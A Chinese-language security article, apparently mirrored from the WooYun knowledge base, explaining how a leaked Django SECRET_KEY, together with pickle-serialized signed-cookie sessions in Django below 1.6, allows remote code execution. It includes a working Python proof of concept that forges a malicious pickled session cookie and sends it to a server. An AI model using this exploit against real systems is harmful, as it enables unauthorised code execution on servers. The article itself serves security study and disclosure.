從django的SECRET_KEY到程式碼執行

wyzsk發表於2020-08-19
作者: xxlegend · 2015/09/08 18:29

0x00 背景


最近審查程式碼發現某些產品在登入的JS程式碼中洩露了SECRET_KEY,將該值作為密碼加密的鹽,這樣就暴露了加密salt不太好吧,更重要的是對django的安全造成了極大的威脅。

0x01 SECRET_KEY作用


SECTET_KEYdjanog中使用非常廣泛,基本上涉及到安全,加密等的地方都用到了,下面列舉一些常見情景:

1,json object的簽名

2,加密函式,如密碼重置,表單,評論,csrfkeysession資料

這裡面就要重點講到session的問題,在這裡使用不當就會導致程式碼執行

0x02 程式碼執行


2.1 settings的session設定

django預設儲存session到資料庫中,但是可能會比較慢,就會使用到快取,檔案,還有cookie等方式,如果採用了cookie機制則有可能程式碼執行,settings配置如下:

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

2.2 django 1.6以下

django1.6以下,session預設是採用pickle執行序列號操作,在1.6及以上版本預設採用json序列化。程式碼執行只存在於使用pickle序列話的操作中。

2.3 session處理流程

可以簡單的分為兩部分,process_requestprocess_response,前者負責選擇session引擎,初始化cookie資料。見程式碼

#!python
class SessionMiddleware(object):
    def process_request(self, request):
        engine = import_module(settings.SESSION_ENGINE)
        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
        request.session = engine.SessionStore(session_key)

process_response則是處理返回給使用者的cookie資訊,比如修改過期時間等。在將session存入快取後,可能在某個操作中會用到session資訊,這個時候就會透過反序列化操作從快取中取,如果反序列話引擎是採用pickle機制的話就存在程式碼執行。反序列化的程式碼位於django.core.signing.py中,這個模組主要是一些簽名,加解密操作,同時也包含序列化和反序列化,預設採用JSON引擎,下面是反序列話loads的程式碼:

#!python
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raises BadSignature if signature fails
    """
    base64d = smart_str(
        TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
    decompress = False
    if base64d[0] == '.':
        # It's compressed; uncompress it first
        base64d = base64d[1:]
        decompress = True
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)

2.4 構造POC

#!python
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies


class Run(object):
    def __reduce__(self):
        return (os.system,('touch /tmp/xxlegend.log',))

sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess

import urllib2
import cookielib

url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()

透過序列化Run類,實現建立一個檔案的操作,在反序列化的時候執行這個操作。執行程式碼完成可看到在/tmp目錄建立xxlegend.log檔案,同時web500錯誤。

0x03 總結


利用條件總結起來就是這麼幾句話,首先洩露了SECRET_KEY,其次session引擎採用了signed_cookies,django版本小於1.6即存在程式碼執行問題。同樣的問題也存在於python的其他web框架中,如flaskbottle

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章